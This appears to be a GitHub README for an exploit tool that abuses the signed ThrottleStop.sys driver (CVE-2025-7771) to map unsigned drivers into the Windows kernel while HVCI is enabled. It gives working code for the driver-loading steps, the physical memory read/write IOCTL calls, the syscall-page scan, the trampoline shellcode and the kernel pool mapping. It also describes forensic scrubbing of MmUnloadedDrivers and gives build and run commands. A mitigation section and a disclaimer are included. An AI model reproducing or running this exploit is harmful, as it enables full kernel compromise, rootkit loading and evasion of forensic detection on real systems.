🔓 ThrottleStop.sys Kernel Exploit — HVCI-Compatible Physical Memory Mapper

CVE-2025-7771 — Arbitrary Physical Memory Read/Write via ThrottleStop.sys IOCTLs

⚠️ Disclaimer

This project is published for educational and research purposes only. The goal is to demonstrate how a signed, trusted kernel driver can be weaponized for local privilege escalation (LPE) from Administrator to SYSTEM/Kernel, effectively bypassing modern Windows security features including HVCI (Hypervisor-Enforced Code Integrity) and Secure Boot.

Do not use this tool for malicious purposes. The author is not responsible for any misuse.

📋 Table of Contents

• Vulnerability Summary
• Affected Software
• Technical Analysis
  • Vulnerable IOCTLs
  • Root Cause
• Exploitation Chain
  • Step 1 — Loading the Vulnerable Driver
  • Step 2 — Physical Memory Primitives
  • Step 3 — Locating the Syscall Page
  • Step 4 — Syscall Hooking via Physical Write
  • Step 5 — Arbitrary Kernel Code Execution
  • Step 6 — Forensic Cleanup
• Why This Bypasses HVCI
• Impact Assessment
• Build & Usage
• Mitigation Recommendations
• References

Vulnerability Summary

Affected Software

• ThrottleStop — all versions shipping ThrottleStop.sys with physical memory mapping IOCTLs
• Windows 10 1903 – 22H2 (x64)
• Windows 11 21H2 – 24H2 (x64), including builds with HVCI enabled
• Tested on: Windows 11 26100.x (24H2) with Secure Boot + HVCI

Technical Analysis

Vulnerable IOCTLs

The ThrottleStop.sys kernel driver exposes a device (\\.\ThrottleStop) accessible to any local Administrator. It implements two IOCTLs that provide unrestricted physical memory access:

#define IOCTL_TS_READ_PHYS   0x80006498   // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Write arbitrary physical address

Read Physical Memory (0x80006498)

Input:  ULONG64 PhysicalAddress  (8 bytes)
Output: Data buffer              (1–8 bytes per call, determined by OutputBufferLength)

The driver calls MmMapIoSpace() to map the requested physical address into kernel virtual space, copies the data to the output buffer, then calls MmUnmapIoSpace(). No validation is performed on the physical address — any address in the physical address space can be read.

Write Physical Memory (0x8000649C)

Input:  ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
        InputBufferLength = 8 + DataSize
Output: None

Same mechanism as read, but writes user-supplied data to the mapped physical address. Again, no address or range validation.

Root Cause

The driver was designed to allow ThrottleStop (a CPU undervolting/throttling utility) to directly read/write MSRs and hardware registers. The physical memory IOCTLs were likely added for MMIO access to PCI configuration space or CPU thermal sensors, but the implementation performs zero bounds checking:

1. ❌ No check if the physical address belongs to MMIO vs. RAM
2. ❌ No check if the address is within the caller's intended memory region
3. ❌ No ACL restriction beyond requiring GENERIC_READ | GENERIC_WRITE handle access
4. ❌ No allowlist of permitted physical address ranges

This transforms a legitimate hardware utility driver into a full kernel-level read/write primitive.

Exploitation Chain

The exploit chain escalates from a local Administrator account to arbitrary kernel code execution, effectively achieving SYSTEM-level ring-0 control.

Step 1 — Loading the Vulnerable Driver

The mapper drops ThrottleStop.sys to %TEMP%, creates a service registry entry under HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop, and loads it via NtLoadDriver():

// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

Note: Since ThrottleStop.sys is legitimately signed, it loads even with HVCI/Secure Boot enabled. Windows CI policy trusts the certificate.

Step 2 — Physical Memory Primitives

With the device handle, the exploit can read/write any physical address on the system:

// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

The exploit wraps these into helper functions that handle chunked reads/writes (1, 2, 4, or 8 bytes per call) for arbitrary-length transfers.

Step 3 — Locating the Syscall Page

To execute arbitrary kernel functions, the exploit needs to find the physical address of a kernel syscall handler. It targets NtSetEaFile (a rarely-monitored syscall):

1. Resolve RVA: Load ntoskrnl.exe in usermode via LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), get the RVA of NtSetEaFile
2. Calculate offset: Since ntoskrnl is mapped with 2MB large pages, the function's physical offset within a 2MB page = RVA & 0x1FFFFF
3. Scan physical memory: Enumerate physical memory ranges from the registry (HARDWARE\RESOURCEMAP\System Resources\Physical Memory), stride by 2MB, and compare bytes:

for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // quick check
    {
        read_phys(candidate_pa, verify, 32);  // full verify
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // found it!
            // ... validate via PsGetProcessSectionBaseAddress
        }
    }
}

4. Validate: Call the hooked syscall to invoke PsGetProcessSectionBaseAddress(current_pid) and verify the returned base matches GetModuleHandle(NULL).

Step 4 — Syscall Hooking via Physical Write

Once the physical address of NtSetEaFile is known, the exploit installs a 12-byte trampoline directly via physical memory writes:

; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3

// Install hook
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <target address>
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// Trigger from usermode
NtSetEaFile(args...);  // → jumps to target_function in kernel!

// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);

Key insight: Writing to the physical page bypasses HVCI's virtual memory protections. HVCI prevents W+X virtual pages, but physical memory writes via MmMapIoSpace in the driver go directly to RAM.

Step 5 — Arbitrary Kernel Code Execution

With the syscall hook primitive, the exploit can call any kernel function with arbitrary arguments:

// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
    POOL_FLAG_NON_PAGED_EXECUTE, size, tag);

// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);

// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);

This effectively maps and executes an unsigned driver in kernel space — complete privilege escalation.

Step 6 — Forensic Cleanup

After loading the payload, the exploit scrubs all traces:

Why This Bypasses HVCI

HVCI (Hypervisor-Enforced Code Integrity) prevents unsigned code from executing in kernel space by enforcing W^X (Write XOR Execute) on kernel virtual pages through Second Level Address Translation (SLAT/EPT).

This exploit bypasses HVCI because:

1. Legitimate Driver: ThrottleStop.sys is properly signed and passes CI validation, so it loads normally even with HVCI active.

2. Physical over Virtual: The IOCTLs use MmMapIoSpace() which operates on physical addresses. HVCI's protections are enforced at the virtual page table level and via EPT, but MmMapIoSpace creates a new virtual mapping for the physical page with appropriate permissions. The write to the syscall's physical page modifies the RAM contents that the existing virtual mapping already points to.

3. Executable Pool: The exploit allocates memory via ExAllocatePool2 with POOL_FLAG_NON_PAGED_EXECUTE, which is a legitimate, HVCI-approved way to get executable kernel memory. The kernel itself uses this for JIT-compiled code and certain pool allocations.

4. No Unsigned Driver Loading: The mapper never calls NtLoadDriver with an unsigned image. Instead, it manually writes the payload into an already-executable kernel pool allocation and calls its entry point via the syscall hook.

┌─────────────────────────────────────────────┐
│           Usermode (Admin)                  │
│                                             │
│  1. Load ThrottleStop.sys (signed, trusted) │
│  2. Open \\.\ThrottleStop device            │
│  3. Read/Write physical memory via IOCTLs   │
└──────────────┬──────────────────────────────┘
               │ DeviceIoControl
               ▼
┌─────────────────────────────────────────────┐
│       ThrottleStop.sys (Kernel)             │
│                                             │
│  MmMapIoSpace(PhysAddr) → memcpy → unmap   │
│  No validation, any physical address OK     │
└──────────────┬──────────────────────────────┘
               │ Physical Memory Write
               ▼
┌─────────────────────────────────────────────┐
│       NtSetEaFile Physical Page             │
│                                             │
│  Original bytes overwritten with:           │
│  mov rax, <payload>; push rax; ret         │
│                                             │
│  → Any usermode NtSetEaFile() call now      │
│    executes arbitrary kernel code           │
└──────────────┬──────────────────────────────┘
               │ Kernel Code Execution
               ▼
┌─────────────────────────────────────────────┐
│       Full Kernel Compromise                │
│                                             │
│  • ExAllocatePool2 (executable pool)        │
│  • Map unsigned driver into kernel memory   │
│  • Call DriverEntry → SYSTEM-level access   │
│  • Scrub all forensic artifacts             │
└─────────────────────────────────────────────┘

Impact Assessment

Build & Usage

Requirements

• Visual Studio 2022 with C++ Desktop workload
• Windows SDK 10.0.26100.0+
• Administrator privileges on target

Build

git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release

Run

# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys

# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000

Output

[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done

Mitigation Recommendations

For Microsoft / Windows

1. Driver Blocklist: Add ThrottleStop.sys hashes to the Microsoft Vulnerable Driver Blocklist
2. HVCI Enhancement: Block MmMapIoSpace calls that target RAM-backed physical addresses from non-whitelisted drivers
3. IOCTL Auditing: Flag drivers that expose raw physical memory primitives during WHQL certification

For ThrottleStop Developer

1. Remove physical memory IOCTLs — use MSR-specific IOCTLs (rdmsr/wrmsr) instead of raw MmMapIoSpace
2. Implement address allowlisting — restrict MmMapIoSpace to known MMIO ranges (PCI BAR regions, LAPIC, etc.)
3. Add ACL restrictions — limit device access to the ThrottleStop application's token SID

For System Administrators

1. WDAC Policy: Create a custom Windows Defender Application Control (WDAC) policy that blocks ThrottleStop.sys by hash
2. Monitor driver loads: Alert on unusual kernel driver loading via Sysmon Event ID 6
3. Remove ThrottleStop if not actively needed for CPU management

🏆 Credits & Acknowledgments

References

• Demoo1337/ThrottleStop — CVE-2025-7771 PoC — Original vulnerability research and exploit
• physmeme — Physical Memory Exploit Framework (MIT License, xerox/IDontCode)
• kdmapper — Kernel Driver Mapper
• Microsoft Vulnerable Driver Blocklist
• HVCI Design Overview — Microsoft
• MmMapIoSpace — Microsoft Docs

License

This project is released under the MIT License for educational research purposes. The underlying physmeme framework is © 2020 xerox (MIT License).

🔬 Responsible Disclosure: This vulnerability was discovered by Demoo1337 and disclosed to the vendor. This repository serves as documentation for the security research community.